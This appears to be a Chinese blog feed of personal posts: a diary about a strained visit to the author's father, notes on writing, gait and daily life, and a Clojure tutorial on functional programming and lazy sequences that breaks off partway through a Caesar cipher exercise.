清洗它们根部的时候,我感觉自己在看一个受了虐待的孩子。那些根部已经变色变形了,不再是之前漂亮整洁的白色,每次冲洗都会有好多碎屑跟着水流下来。清洗得我觉得能接受了,就给它们倒上了矿泉水。本想放在窗边,但担心被毫不在乎的家人再次打翻,最后还是放回了原位,在那胡乱堆放着食品、香烟和垃圾的茶几上为它腾了一个位子。

读者可能不能理解我为什么对两株植物这么上心。它们是我搬出乌烟瘴气的学生宿舍之后,在出租屋里养得最好的活物。我一直觉得人照料的生命会反映出照料者的生命状态,植物也是。有段时间,我的生活失序,感到十分苦闷,每天回到家就把自己关在房间了,不再活动。直到某天我突然发现我养的龟背竹看起来状态不太对,叶片摸起来不如之前坚挺,我这才意识到自己有多久没给它们换水了。照料它们其实很简单,要把原来的水倒掉,把根部清洗干净,再换上新的水,滴一两滴营养液,再放到能散射到阳光的地方。这些活动需要我走出房间,打开水龙头听见流水的声音,触摸它们的根须和茎叶。渐渐地,我感觉自己也好了起来。

在我对生活相对满意的阶段,被我放在卧室飘窗上的龟背竹突然抽了第三根叶,叶子是很新鲜的嫩绿色,卷卷的。过了不久,又趁我不注意,它的新叶舒展开了,上面的脉络看着很舒服。我记得我当时很开心,它们被我照顾得很好。我喜欢这样的关系,喜欢没有语言的交流。当我要前往另一个城市的时候,我从出租屋里带走了它们,但只能放在父母家。现在,我感到我把它们交给了非常不称职的照顾者。说真的,我怎么可以相信这群连我都没能养好的人呢?这指控主要是针对我爸。

飞机落地前,看到重庆的夜景时,我还有些触动,似乎第一次感到了故乡的熟悉感。我可能有些思乡,但我一点也不念家。上车的时候,我那父亲果不其然问起我有没有交女朋友。他叫我去“把妹”,遇到好看的就去“撩”,要不是我这次掌握了新的沟通技巧(就是在他说这话的时候不理他),他可能要再念叨些油腻的“泡妞技巧”,说起他以前被女生追到躲厕所这个已经被说过无数次且无从考究的辉煌故事。以前我还会写,我吐了,现在我已经没有任何反应。饭桌上,他也犯起爹味来。他从没觉得自己是个糟糕的父亲,从没意识到自己在我的童年和教育中是完全缺席的,看着他把一个个偶然事件包装成成功的教育故事(我大一的时候,他把我送到大学门口,那里车流量大,而且没地方停车,所以他就走了;现在,我是亲近的亲朋好友的孩子中,唯一一个有在上班的,他说起我一个人去外地实习的事情,把那件只把我送到校门口的经历包装成培养我独立性的教育选择,开始觉得自己 鸡巴大起来了 ),我无动于衷,毕竟这事儿他不是第一次干。饭厅的电视上在播放《疯狂动物城》,我就盯着电视看了一晚。我还没看过这部电影呢。

唯一让我不得不动起情绪来的,是他在饭桌上自豪地夸耀起自己把狗摔在地上砸来砸去,把猫的脸摁进尿里,又把它扔得老远的事迹来。他大概觉得欺负无辜(或者照它的说法,是声张正义,不是虐待,因为那狗太黏人,那猫乱尿尿,然而选择黏人品种的是他自己,不及时给猫绝育的也是他)的故事非常值得传诵。回家见到我的龟背竹变成那个样子,我觉得这个家对待生命毫无敬重,而我的父亲还时常跟人抱怨我不念家。我念你妈的家。

国庆前夕,我妈问我什么时候回来,我纠结过后,说我不想回去。我真的不想回这个家。我妈念起过节就是要回来看看家人,念叨着我更觉得烦人,便让她转告我父亲,把他那些乱七八糟的东西从我的书房里收拾掉。我每次回家,都要忍受满是怪味儿和杂物的书房,我爸在抖音直播间买各种“好东西”,但不想弄脏他的房间,于是全放在我那里了。我把房间收拾得尽可能整齐,一些东西实在处理不掉,只能藏起来(我爸说,就放那儿,我能说什么呢,这是他家,不是我家)。他俗不可耐,在书房里放的是很难搬动的中式大椅,和桌子的高度比例也不对,我在那房间里坐着,总是觉得背疼。忍受了这些之后,我离开几个月,再次回来,同样的戏码又要上演一遍,我又得在这个垃圾场里给自己腾地方了。这次回家,书房的确干净了,可我从我爸口中听到的是:你看你妈知道你要回来,把书房收拾得有多干净。我说:那是我要求的。我真想说脏字儿。我可怜我妈,我要的明明是我爸去收拾他自己的烂东西。

现在已经到了凌晨一点,我爸在我的房间外面打游戏,和某个女的语音通话,笑声很蠢。耳塞都隔不开他的愚蠢。他完全没有考虑过他的声音和游戏的声音会打扰到家里任何人休息,我能说什么呢,这是他家,不是我家。

这是他家,不是我家。他没有也没想过给我留位置,我有自知之明。

乡愁是驱使我找到工作,独立生活的唯一动力。我要逃离这个是非之地,我要有腰包和底气对这个男人说不,我可以说“老子就是不要回你的家”。我要有自己的房子,把我的龟背竹养好,等他的新芽长好长实,移植出好几盆,把它们交给可靠的人。那只被我爸摔过的狗今晚在我姑姑的怀里睡得很安心,她做这个男人的姐姐真的承受了很多。我会养一只狗狗,我永远也不要打它骂它,我要让他在我的怀里安安静静地睡去,我也安心入眠。第二天,阳光会洒在我们所有人身上。

刷视频

作者 ACEVS
2026年10月1日 18:16

棍子对老虎豹子可能威力不足,尤其打空以后,如果比划不出击,择时逃跑还不错。

日本有个女子能迅速复刻一些高手的技能,悠悠球,剑玉,转盘,太空步等,日语太棒了,感觉就是so good的方言。

印度的娱乐项目也挺好玩,套圈,投掷,等一大堆,两个人比赛,比赛后获得大米等奖励。

也有不少ai的视频,像樊登那样拆书的。刷了几个让人瞌睡。哈哈。

第五年 II

作者 ONO
2026年10月1日 09:30

继续昨天的“那把关于写作的刀”。


1200 | 百日谈

当写到1200的时候,距离500日写作还剩下最后的100天。

没曾想(每次都用这句话开场,没想到已经持续到这个时候)我还在坚持写作,能写的和想写的还有很多,只是自己的日子过得越来越紧凑,工作、生活、人际关系,无时无刻都在侵占着自己的写作,难得每天有这样一个两小时是完完全全属于自己的(这大概也是我最后的底线)。

要说收获,反而在这个时刻来说所谓的收获又觉得太过虚伪,这是我开始坚持写作之时完全没有预计到的后续,至少当我已经洋洋洒洒写完了超过120万字之后,才发现自己所经历的,收获的和思考的远远超过了我所能在过去预估的。也因为写作我和周围人的差距越来越拉开,我能想的,能想到的,或是想要交流的也因为写作的原因早就脱离了我能控制的状态,最直接的影响是我无法再让人从我的文字里面偷窥出我最近的所思所想,甚至是我会用半真半假的文字来误导别人,让他们误以为我正在经历怎样的生活,思考什么,或是在怎样的情绪之下,这种不给情面的“游戏”有一天当我揭晓的时候,会有多少人觉得“被羞辱”时其实有一种异样的暗爽。

因为还只剩下100天,所以应该为这一天写点什么,但是当我提笔的时候才想起来,我应该在今天说一个真实的故事,总不能老是以假故事讲真道理,也不能老是用真故事来虚情假意。

许久不见的朋友问我最近在做些什么,我大概交代了一下自己换工作,然后新工作接连升职的事情,结果我被评价为“装逼”,因为这明明都是些我可以大说特说的事情,结果我就一笔带过,毫无情感可言,问及原因,才得知原来我早就把这些经历记录在了写作之中,接着这位朋友询问我:哪里可以看到这些文章。我给了他一个网页,也就是此时此刻正在写作的博客,他才惊讶得难以言表地向我说了三个字:“操你妈”。

我当然知道这是句脏话,但是我也知道这位朋友说了一句这样的话,并不是实际要骂我,而是在表达一种惊叹,说实话我也不知道我能够给这位朋友如此大的冲击,因为对他而言,能够坚持写作这么多是一件看上去简单却无法让人有欲望坚持的。有了这些前提,我们才开始慢慢地说起了这些事情,我为什么要坚持写作,又打算坚持到什么地方。而最后这位朋友给了我一个很有趣的总结:“你这样的存在会给予人无形的压力,因为你真的在坚持一件他们永远都不会想到有多困难的事情,而这种无形的压力又构成你所构建的那个讽刺的世界。”

我的文字是一种讽刺嘛?我想应该是,因为我时时刻刻都在讽刺很多东西,然而最讽刺的,就现在看来并不是我写的文字,而是我写文字的这件事情,当它变成我的习惯,也变成别人眼中的不理解和无形压力的时候,这样的讽刺拉开了我和他人的距离,他们认为我文艺骚客满脑子都是毫无意义的想法,而我认为他们缓慢的前行甚至是连本带利地吃着老本,彼此都认为对方是已经讽刺,这不正是写作的有一个“意义”?

我成为别人的压力,也成为别人眼中最最讽刺的存在,这是件可喜可贺的事情,因为这样的我才能够写出更讽刺的文字,成为更大的祸患,再接着让停滞不前的人彻底放弃努力,把所有的不满和自负都投射到我的世界,变成我世界中最最悲剧的角色,上演着最最喜剧的讽刺。


任何人都有定义“写作”的权力,特别是定义有关别人的写作。但写作不再需要向人证明这件事的“正确与否”时,写这件事本身就不会再是讨好所有人的工具,甚至可能变成令人不悦的武器。

我并不觉得自己的文字能有多大的力量,也没有打算它能帮到什么,但如果有人因为路过看到了某篇文章而被引发了思考,文字的本身就在创作者与市场之间找到了那个微乎其微的“价值狭缝”。

我以前一直在追求所谓的“文字的纯粹性”,即我要尽可能地表达我的真实想法、感受,尽可能地避免引起他人误会。但事实上,信息的传达必然失真,不在于过程,而在于信息接收时本身。


就在刚才,我目睹了一对年轻情侣的争吵,女性想看男性的手机电量,而男性本能地躲避女性想要抢走自己手机的行为。女性瞬间生气,认为男性有什么自己瞒着自己。男性则说自己正在玩游戏——而女性则觉得“自己只是想要看看手机电量,如果他的电量足够,就像拿他正在充电的电源线给自己充电。”

你发现问题了吗?原本一句“我手机快没电了,先给我充会电”这件事,被折叠进了一个非常复杂的表述系统里,甚至还需要先确定彼此的电量,里面还追加了女性想要确定男性手机而男性表现出对女性不信任的剧情——

于是他们的争吵从充电本身,已经上升到了“心里有鬼”的自证。


文字本身也是充满大量折叠的。就像是情侣之间的那句经典发言——“我没事”。这里面可能折叠着已经累计了许久的情绪,也可能真的就是一个有关状态的准确描述。

折叠信息的再展开,难免会有过度或是被迫简化的过程。就像刚才在码字过程中,突然新建窗口完成的《让座》,他们希望读懂的、懂事一点、人情世故的部分,我读懂了,但我装成了我根本不懂眼色。那如果我们彼此都过度展开了彼此的真实意图,我们都彼此想要故意刁难对方呢?

我唯一能做的,是对自己诚实——我就是在故意读不懂空气,想看看他们到底还能做出怎样的举动。

这是用文字这把刀割伤后的“绷带”——对自我的诚实——即自愈的一部分。

——

感谢订阅莫比乌斯,如你有任何疑问、观点交流,请前往创作者频道,或私信联系。

走路摇摆的可能原因找到

作者 ACEVS
2026年9月30日 17:21

许多年前骑26自行车,和我弟飙自行车,上坡蹬着没事,下坡竟然出事了,26自行车,链条掉链子了,我正在用力的脚失去力量平衡,离开了脚蹬子,脚还在用力蹬,但是直接蹬到地上,这个时候车速还挺快,我直接伴着自行车在地上摩擦,事后发现右脚大拇指快掉了,淤血,发黑色的感觉,俺不知情的同学还以为我的了灰指甲,右侧髋骨也是一片淤青,髋骨髂胫束有时候会疼,当时感觉伤筋动骨一百天,不是骨头疼,估计是软骨或者皮外伤,没有理他。

前几年跑步到了10.1这个季节,髂胫束 疼,下楼摸着右侧大腿外侧,能感觉到弹响,查了资料减少跑步,登山,然后增加臀中肌,贝壳式,侧躺抬腿,还有直立位拉伸改善。x光 什么的这种问题看不来,只能核磁共振,检查完一般也是没啥好办法,大概率是保守治疗。不跑步 不登山这个问题也没事。运动多了,我看正常人髂胫束都有概率弹响。尤其马拉松之类的。

单侧腿有问题,昨天聊天突然想到和我摇摆的走路步伐是不是有点关系,问了豆包,豆包说应该有关系,豆包提到特伦德伦堡步态我去b战一看果然和我的步态蛮像的。
特伦德伦堡步态-哔哩哔哩_bilibili

又看了这个人分析的【步态分析】临床上几种常见步态 讲解+演示_哔哩哔哩_bilibili
各种步态,帕金森 ,偏瘫等步态,本来我以为我找到了,我走路看上去有问题 原因,我和wife一说情况,wife,反驳说,这是遗传,你看大宝,没有受过伤,走路和你差不多,我想我弟也没 我这样子走路哇,不管了我先练练臀中肌。

松声|廿六年·九月末·秋雨寒

作者 网友小宋
2026年9月30日 16:36

勤劳的小蜜蜂

2026-九月末-勤劳的小蜜蜂.jpeg

  • 到底是年底了,感觉各个单位都在冲击kpi,小区门口两边之前没有划线的车位停一天都没啥事,最近临近中午小蜜蜂们会频繁出现,只要是没划线的挨个贴!因为之前出现被贴的事,门口实在没位置,我都停的远远的。毕竟首违不罚,后面好像是200一张,代价还是挺高的。不过小蜜蜂们很够意思了,晚上正常停,人家临近中午才来贴也算是人性化工作了。

团购

2026-九月末-糟糕的团购.jpeg

  • DY团购的世外桃源,网上看环境还不错,去了简直卧槽,第一次吃到让一桌人都觉得很垃圾的炒鸡,硬是转二场。关键是老板还是以前做大鹅很专业的厨子,幸亏没多点别的菜,直接就不让做了。不然巨亏无比!闭坑闭坑!

超长蛋挞

2026-九月末-超长蛋挞.jpeg

  • 每年到秋天总得流行点什么东西,前端时间的某个时间段,突然刷到超长蛋挞的短视频,和之前搪瓷盘草莓蛋糕一样。网上看好多店还得预约排队才能买到,休息回去发现旁边商超烘焙区有卖的,十五块一个,一个小姐姐在哪里让顾客挑,她去装盒子,嘴里还在说,昨天都做不过来。原本买回来想着偷偷的藏起来,等晚上了让ld带着两个娃去找,回去还是被ld发现了。两个小崽子还是很开心的,不过这玩意还是不推荐各位买,除非人多,当天就可以吃完的,不然第二天就不是那味了。

碎念

2026-九月末-风景 (2).jpeg
2026-九月末-风景 (1).jpeg

  • 多年前毕业入了现代镖师这个行业,作为一个保证镖师稳定运转的人,以前部门人多的时候,人还排的过来,这两年这形式基本上也是接近极限运行了,每次只能休一个,当然多倍牛马费是有的,前几天二宝打视频还说想爸爸了,真是可爱的年纪,大宝呢!已经放飞自我,爸爸在家那就是好爸爸,光想着爸爸带着出去浪,爸爸上班,就全当没这个人,也算是被宠坏了。
  • 十一看天气不是很好,准备就近转转了,前段时间还刷到个自驾线,十月份的秋景应该是最好的,AI规划,建议最好两天,一天的话时间上有点紧,最近要多刷刷短视频了,看看先去的人怎么样,还有就是希望有个好天气!别在下雨了。

WorkBuddy

Typecho主题

主题default2026.jpeg
主题Text Only.jpeg
主题TwentyTwelve.jpeg
  • 说起来鹅厂,这些年似乎没有什么很出彩的产品,今年WorkBuddy算是破圈的一个,前段时间公司让下载豆包、千问、deepseek、元宝,要求牛马熟练使用AI软件,这几个目前使用频率最高的也就是豆包了,虽然它经常不是很靠谱!但是贵在应用能力强,处理个图,写个小短文什么的,还是可以的。随着AI的发展,各种技能附加,AI变的也是靠谱了一些。利用WorkBuddy的积分,完善了default2026、Text Only、TwentyTwelve的Typecho版本,主要是后台设置、归档、足迹、书影。一切以简约为主!够用一段时间了。
  • 后面有时间再折腾一下飞牛的DeepSeek Harness,看大神们似乎接入WorkBuddy很省,但是飞牛的版本有点问题,论坛上也有人反馈,只能等待官方更新了,我是懒得折腾。

mini-photo-editor-zh

迷你图片 (1).png
迷你图片 (2).png
  • 这个项目是前几天在某个周刊上看到的,可以自部署一个图片处理程序,简单试了一下功能还挺满意的,刚好赶上WorkBuddy积分还有很多,就顺便让AI帮忙汉化一下,然后打包成了Docker镜像,顺便建了一下分支,分支上面还是有几个不错的变种的,我记得有一个还增加了AI润色功能,果然有想法的人真多。项目页面:mini-photo-editor仅有Docker版本,当然你也可以直接去docker pull xyzbz/mini-photo-editor-zh ,容器内端口是80,映射一下自己喜欢的端口就行了。

recipe-lab-sony-pmca

索尼老机型.png

  • 索尼老机子的福利,前几天抖音上都推荐疯了,一个佬的开源项目,之前的机子支持安装程序,这个项目目前支持70多种滤镜,有点谷歌相机75合一的感觉,新机器大部分不支持,有兴趣的可以去看看。 recipe-lab-sony-pmca

改变一切的是时间的缝隙

作者 dimlau
2026年9月30日 16:20

时间是连续的吗?不管是从物理学角度还是主观层面来讲,或许皆否。Carlo Rovelli 在《时间的秩序》里科普了时间的量子化、离散性,它根本不能被无限分割。主观上也是如此,记忆从不是平滑的卷轴,睁开眼的「上一刻」常常已隔数年,其间光阴,雾气朦胧。

回头想想,当下和去年此时此刻的自己,到底差别在哪呢?一定是变了的,但却怎么也说不上来。何时何地?何种契机?具体何种变化?在想象中把这个过程细化,2025-09-30 相比 2025-09-29,无事发生,一切照旧,2025-10-01 或许依然这般;再细致些,16:20 相比 16:19 更是毫无二致。

总之,改变就是发生了。曾经愤恨过的人和事——哪怕曾经每天暗下决心至死不忘——全都早已云淡风轻。可见,那些真正起作用改变了人的,都藏在时间被忘掉的部分里,那是时间的缝隙,它塑造人。而时间里经久不忘的部分——饥寒中咬牙的瞬间,团聚时欢笑的瞬间,阅读中拍案的瞬间——则引领着人。

fin.

第五年 I

作者 ONO
2026年9月30日 09:30

既然快要放假了,无心工作,所以接下来的几天就来搞搞综艺节目里,最喜欢用来应对“开天窗”的内容——怀旧。

也不完全是“怀旧”,因为截至 2026 年 10 月 1 日,莫比乌斯真的就已经五周年了,1000 多篇文章,195 万字,好像对于这五年而言又不是什么值得被夸耀的事情。既然我把写作当做是一场自我悖驳的旅程,也正好来看看十年前的 2016 年,当我写完第 180 万字时,我在思考写什么。


1553 | 吃亏

这两天闲来无事,看到 LOFTER 在邀请大家进行“原创保护”的申请,第一批次被保护的用户,无比光荣地被展示出来,这让我也确实很是羡慕。而问及到底怎样的标准才能够申请到“原创保护”的时候,后台回复第一批次是管理员选择的,而后面想要加入必须是文章的质量达到一定的要求,而这个标准甚是模糊——

所以我也去看了看第一批次被原创保护的博主,确实无论是内容还是质量都远远超过我,但是好歹我也在 LOFTER 完成了整整 180 万字的每日写作(虽然已经被陆陆续续因为“敏感”删掉了很多文章),所以我想我还是可以争取一下原创保护——然而很可惜的是,我得到的答复是,我的文章质量还没有达到可以“申请保护”的标准,而质量低并不是因为内容,而是我的文章都没有配图,所以在 LOFTER 上面展现的只能是一堆干瘪的文字,所以这样的“质量”是不能够被大众所接受的。而关于这个警告,其实在每日写作当中就已经被别人警告过,朋友表示我如果仅仅是在 LOFTER 以纯文字的方式出现的话,是不可能吸引别人的眼球,更别说“出名”。一开始我还真觉得是这么一回事,所以越想越气,在中途的某一篇文章我还真的加入了“图片”(如果没有记错,那一篇文章是《墓碑城市》),但是也就只有那一次,因为要为自己每天的文字找到一张合适的、并且是原创的、且还要让别人觉得是“高质量”的图片实在是太难太难了,没有视觉细胞的我,配图反而会让文章弄巧成拙,所以这个“警告”到最后我也当成耳边风——所以到现在也没有出名。

所以,在这场“比赛”里面我还是很吃亏的。

同样吃亏的其实并不是成年之后才有的,在成年之前也有很多“吃亏”的事情,比如在写议论文的时候,在第一段并没有直接了当地写出文章的主题;而在写故事文的时候,总是不爱用大家都认为最有可能夺得高分的倒叙方式,把矛盾点提在文章的最前面,而是把答案留在最后含糊不清地开放结局;在写愁绪之情的时候,总是要用奇怪的比喻,而没有用那些传统的黄花秋风;在写幸福的时候,总是不能够恰当地描绘出眼中的泪花……所以也只能说自己到现在,都还没有吸取教训。

所以吃亏就吃亏吧,毕竟吃亏是福呢。


题外话:从另一个侧面证明,我好像一直很喜欢用引号和破折号,2016 年可没有人用 AI 写文章呢!

博客后来还真的收到过类似的私信:为什么很少给文章配图片。特别是有了 AI 之后,想要给一篇文章配图变得更加的轻松,但这大概是我心理上一直过不了的“坎”。

AI 会在一张所谓的“照片”里,塞满它对含义的理解,以及那些最符合人类理解的细节,从而丧失了那些不经意被拍下的照片里,应该被隐藏起来的信息。

——《这个世界暂时还不能没有照相馆》

包括到现在,我也很少会在大段的文字中间嵌入图片,作为视觉分割。而视觉刺激在如今这个时代,又比文字激发大脑想象要强太多,文字和图片的比例掌握不好,反而让文字变成了配文——我必须承认,我对于这方面的把握能力是欠缺的,更何况我更偏向于用文字构建画面感。


2021 年,在搭建这个博客的当下,屁屁还在旁边捣乱。

《第五年》的一开场,我故意用了“自证游戏”开场,证明自己一直都在写,却依旧不知道自己坚持写下去的目的与意义是什么,而自证本身完全无法抵御他者的任何主观评价,有人可以说这是在装逼、是在炫耀、是在毫无意义的无病呻吟——甚至秉持这种主观评价的人,也根本不会看到这里。

但这就是写作的乐趣,读者有心,写者也可以随时在文章的最后藏一把刀——

为了炫耀而写的前提,也得是先写了出来;以及我炫耀的对象,恰好是一个没有任何人能够替我完成的东西。

——

感谢订阅莫比乌斯,如你有任何疑问、观点交流,请前往创作者频道,或私信联系。

Coffee Break Clojure, Vol.4

2026年9月29日 21:42

今天的文章衔接 上一期 有关集合(collection)和序列(sequence)的知识,来讨论一种特殊的集合,叫惰性序列(lazy seq)。我们还会接触到函数式编程(functional programming)。

其实在另一门名为 Haskell 的语言里,也能见到惰性,而 Haskell 是纯函数式的编程语言(Clojure 在很多方面都不如 Haskell 严格)。函数式和惰性非常契合,可以说没了惰性,函数式就不够务实,会消耗更多的计算资源。

编程范式

编程范式(programming paradigm)可以理解为编程方法论。用我的方法解释的话,一套编程范式提供了一系列高度抽象的逻辑组件、通用的程序结构,比方说 for 循环结构就是 结构化编程 (structrual programming)这一范式提出的。

结构化编程的主要主张是 goto 语句有害论,由 Dijkstra 在 1968 年提出。这在当时颇有争议,不过如今已成公理,如今的新来者可能根本不会听说 goto 语句。我也从来没写过,我了解到 goto 的时候,我的 C 语言老师就严肃地告诉我们不该用 goto。

据 Robert C. Martin 在《 架构整洁之道 》里总结,结构化编程本质上限制了程序控制权的直接转移,即不允许用 goto 语句直接变更程序的执行位置。要转移程序的执行位置,只能用块结构1表示条件判断、循环体等等。块结构使得程序可以被清晰地划分为可理解的部分,而不是一条一条分散的代码。

面向对象编程(object-oriented programing,后称 OOP)在块结构之上提出了新的组织程序的方式,也就是对象(之所以不说「类」,是因为也有无类 OOP,比如 基于原型的编程 )。程序员经常需要定义一种数据类型,然后定义对这种数据类型的操作(封装);对不同的类型和不同的输入而言,相同的操作可能有不同的行为(多态);数据类型的某些操作是共通的,可以复用(继承)。OOP 引入了更高层的概念和结构。据 Martin 所言,OOP 本质上是限制了对程序控制权的间接转移,因为 OOP 用方法(method)代替了函数指针(function pointer)。2

Martin 认为编程范式并没有引入新的东西,反而是提出了更多的限制,比如限制 goto 语句和限制函数指针。函数式编程(后称 FP)范式引入的限制是:禁止赋值语句。是的,不允许给变量赋值,所以在前四篇里我们一次都没有见到 Clojure 的赋值语句,只见到了定义符号的语句。

为什么?因为给变量赋值就意味着我们在维护一个可变的状态,而状态在 FP 看来是个坏东西:

  1. 如果系统有多个状态,复现 Bug 时,需要复原系统中所有的状态。
  2. 有多个读者和写者时,为保证数据一致性和完整性,需要加锁,而维护锁很痛苦3。更何况锁本身也是一个新的状态!
    • 说到这里,容许我插一嘴,我前不久修复了一个非常诡异的 Bug,最后我们发现问题出在系统里某个地方加了锁。这个锁是外部的某个库引入的,我们完全不知道那个锁的存在。当时系统出现了大量的超时错误,我们以为是网络阻塞,结果竟然是大量请求等待锁导致的。
  3. 管理状态如何在系统的各个部分之间同步和转移,定义状态如何变更,检验状态的有效性等等,都会极大提升系统的复杂度。

这其实也在逐渐成为共识,我们看到很多编程语言(比如 Rust)的变量默认不可变(immutable)。状态更少会让复杂系统更容易维护,而 FP 则致力于消除可变状态。

不过整体而言,FP 并不主流。不少人对 Haskell 的第一印象是「学术语言」(一开始的确是)。Haskell 的标语是「Enjoy long-term maintainable software you can rely on」(享受你可以依靠的长期可维护的软件),这显然是出于工程考虑写下的标语。

在过去,FP 受到的不认可往往源自于它的性能问题。由于 FP 系统不维护状态,而是在函数的相互调用之间传递参数,循环结构也往往用递归(recursion)表示,这就导致处理大量数据时,函数栈帧会占用大量内存,而且可能出现栈溢出问题。不过这个问题现在已经有了应用广泛的解决方案,叫作尾部调用优化(Tail Call Optimization,TCO)——简单来说,只要递归函数调用发生在函数尾部,编译器或解释器就可以复用上一个递归调用的栈帧,把递归调用变成循环结构,但语言层面仍然是递归写法。

深入函数式

FP 不仅禁止赋值语句,还避免副作用(side effects)。FP 把函数想象成和数学函数一样的东西,输入值,然后输出值,这其间不该发生别的事情,比如不该修改系统中其他的状态。

那 FP 程序怎么和外部设备交互呢?照其定义,I/O 操作也是副作用,我还不能把数据写入磁盘了吗?其实,一般只有纯函数式语言才会想要完全消除副作用,Haskell 是通过引入 IO 单子 的概念消除副作用的。Haskell 把对外部状态的访问和操作当作显式的作用,而非副作用。至于 Clojure,它并不是纯函数式语言。副作用是允许的,只是不鼓励。Scheme 也允许副作用,因此 Scheme 更喜欢用 procedure(过程)这个词表示 function,因为有副作用的不是纯函数。

与副作用相关的概念是引用透明性( referential transparency ),可以说避免副作用就是为了实现引用透明性。以下面这段 Clojure 代码为例:

(+ (- 3 1) 4)
;; => 6 

;; 上述代码应该和下面这段代码等价 
(+ 2 4)
;; => 6

;; 上述代码应该和下面这段代码等价 
6 
;; => 6

函数调用可以显式地替换为它的返回值,这就是引用透明性。对数学运算来说这理所应当,FP 要求的就是把这种「理所应当」也应用在其他计算机程序上。没有引用透明性的函数是什么样的?

var x = 0
function add(a, b) {
 x = x + 1
 return a + b
}

add(add(x, x), x)
// => 1

上述 add() 是个闭包函数(因为它访问了外部作用域的 x 变量),每执行一次 add() 都悄悄地给 x 加 1,然后再返回 a + b。

执行 add(add(x, x), x) 的结果是 1。调用最外层的 add() 之前,我们先要得到参数的值。第一个参数是函数调用,求出值为 0,同时 x 的状态变成了 14;然后将 0 作为第一个参数传入,此时求 x 的值,发现是 1,将 1 作为第二个参数传入,也就是 add(0, 1)。最后函数返回了 1,x 的值变成了 2。

假设现在 x 的值还是 0,我们把 add(x, x) 换成理应等价的 0,发现 add(0, x) 得到的是 0 而不是 1。这个程序没有引用透明性,而且 x 的状态不可控,add() 的结果难以预测。

不难意识到避免副作用对系统的长期可维护性的好处。如果我们非要一个 x “变量”作为计数器,记录调用 add() 函数的次数,不妨用递归实现。

const numbers = [2, 4, 3, 7, 2, 7, 5, 10, 3]

function addWithCounter(numbers, counter, total, index) {
 if (numbers.length - 1 < index) {
 return {counter: counter, total: total}
 }
 return addWithCounter(numbers, counter+1, total + numbers[index], index+1)
}

addWithCounter(numbers, 0, 0, 0)
// => {counter: 9, total: 43}

上面这段代码是函数式的。const 是常量声明,而不是赋值。在 addWithCounter() 中我们只是返回计算后的值,将某些“状态”作为函数参数递归地传递,没有可变状态。我们在不使用循环结构的情况下遍历累加了数组,并且维护了一个 counter(计数器)。

在 Clojure 中,可以用 loop 构造递归,无需声明函数:

(defn addWithCounter [numbers]
 (loop [counter 0, total 0, index 0]
 (if (< (count numbers) (inc index))
 {:counter counter :total total}
 (recur (inc counter) (+ total (numbers index)) (inc index)))))

(addWithCounter [1 2 3])
;; => {:counter 3, :total 6}

不过更好的写法是用利用惰性。

;; reductions 类似于 reduce
;; 但返回的是每个步骤的 lazy seq,而不是最终结果 
;; (= (reduce f coll) (last (reductions f coll)))
(defn addWithCounter [numbers]
 (let [steps (reductions + numbers)]
 {:counter (count steps)
 :total (last steps)}))

(addWithCounter [1 2 3])
;; => {:counter 3, :total 6}

reductions 函数返回的是惰性序列,其实上一篇提到的 map 返回的也是惰性序列。这究竟是什么东西?

初识惰性

lazy-seq 函数接收一系列表达式,这些表达式最终返回一个序列。不过,写在 lazy-seq 里面的表达式并不会被立即执行,而是会在 lazy-seq 被访问时执行。也就是说,lazy-seq 保存了一系列「如何求值」的步骤,仅在每个步骤被访问时才计算具体的数值。

还记得序列(sequence)的定义吗?仅支持线性访问的集合。还记得 Cons 吗?一个序列就是保存了第一个值(_first)和指向下一个 Cons 的“指针”(_next)的对象。假如序列的 next 并不指向下一个 Cons,调用它的 next() 方法时,它并不 return _next,而是调用函数计算下一个值再返回,调用几次 next() 就计算几次值。

听起来像个迭代器(Iterator),两者确实很像。惰性序列就是可以当作序列处理的迭代器,不过我们并不需要手动调用 next,只需要正常地把它当作序列处理,剩下的 Clojure 会帮我们解决。

对一个 Lazy Seq 分别调用一次 first 和两次 next 函数的示意图

作为演示,我们先定义一个指向无穷的符号。

(def ∞ (range))
;; => #'user/∞

(type ∞)
;; => clojure.lang.Iterate

range 可以返回指定范围的整数序列,如果不给参数的话,就会返回 Iterate 对象。可以把 Iterate 理解为做了特殊优化的 LazySeq,使用起来和惰性序列区别不大。

我们试试从「无穷」中取出前五个数:

(take 5 ∞)
;; => (0 1 2 3 4)

只想要正整数?没问题。

(def ℤ (map inc ∞))
;; => #'user/ℤ

(take 5 ℤ)
;; => (1 2 3 4 5)

只想要偶数?当然!

;; 其实我本来想用 {2k|k∈ℤ} 做符号名,可惜不合法
(def even-numbers (filter even? ℤ))
;; => #'user/even-numbers
;; or 
(def even-numbers (map #(* 2 %) ℤ))
;; => #'user/even-numbers

(take 5 even-numbers)
;; => (2 4 6 8 10)

但要注意,有些操作不能应用在无穷的惰性序列上,比如 shuffle,这个函数的作用是打乱一个序列,但你怎么打乱「无穷」呢?想想就需要无穷的计算时间。此外还有 sort、group-by 和 count。

图片来自: Clojure’s Deadly Sin

等等,count?难道之前不是说 count 的时间复杂度为 O(1),只需要 return _count 就好了吗?对惰性序列来说不是这样,因为在把所有可能性都实现之前,惰性序列自己也不知道自己有多长。

// package clojure.lang
// LazySeq 的 count 方法
public int count(){
	int c = 0;
	for(ISeq s = seq(); s != null; s = s.next())
		++c;
	return c;
}

惰性序列和迭代器的另一个区别是,惰性序列会缓存已经计算的值,再次访问时会使用已有的值,不会重复计算。可以用 realized? 函数检查序列有没有被计算。

(realized? (range))
;; => true
(realized? (rest (range)))
;; => false

(range) 本身作为一个 Cons,包含 0 的初始值,但它之后的 Cons 都还没有被计算,所以返回 false。注意 (realized? (first (range))) 实际上是 (realized? 0),会报错,因为 Long 类型没有是否被实现之分。

练习函数式与惰性

接下来我会提出一些需求,读者可以在自己的 REPL 里编写 Clojure 代码实现,我会把参考答案附在题目后面。题目中还会包含一些新的 Clojure 函数的用法介绍,读者可以一边练习一边学习新函数。

凯撒密码

凯撒密码是一种替换加密,即简单地把明文中的每个字母替换为字母表往后偏移 N 个字母之后的字母。比如,如果偏移量是 3,A 就会被换成 D。

凯撒密码示意图

我们知道 ASCII 编码中,65 对应的是大写字母 A,90 对应 Z。如果要将 A 变成 D,只需要对字符的十进制数表示加 3,然后再转换成字符。

在 Clojure 中,可以调用 Java 方法把数字转换为 ASCII 字符串:

(Character/toString 65)
;; => "A"
(Character/toString (+ 65 3))
;; => "D"

可以用 zipmap 函数把两个序列封装成映射,第一个序列的元素作为键,第二序列的元素作为值。

(zipmap ["A" "B" "C"] ["D" "E" "F"])
;; => {"A" "D", "B" "E", "C" "F"}

range 可以指定序列的范围:

(range 65 91)
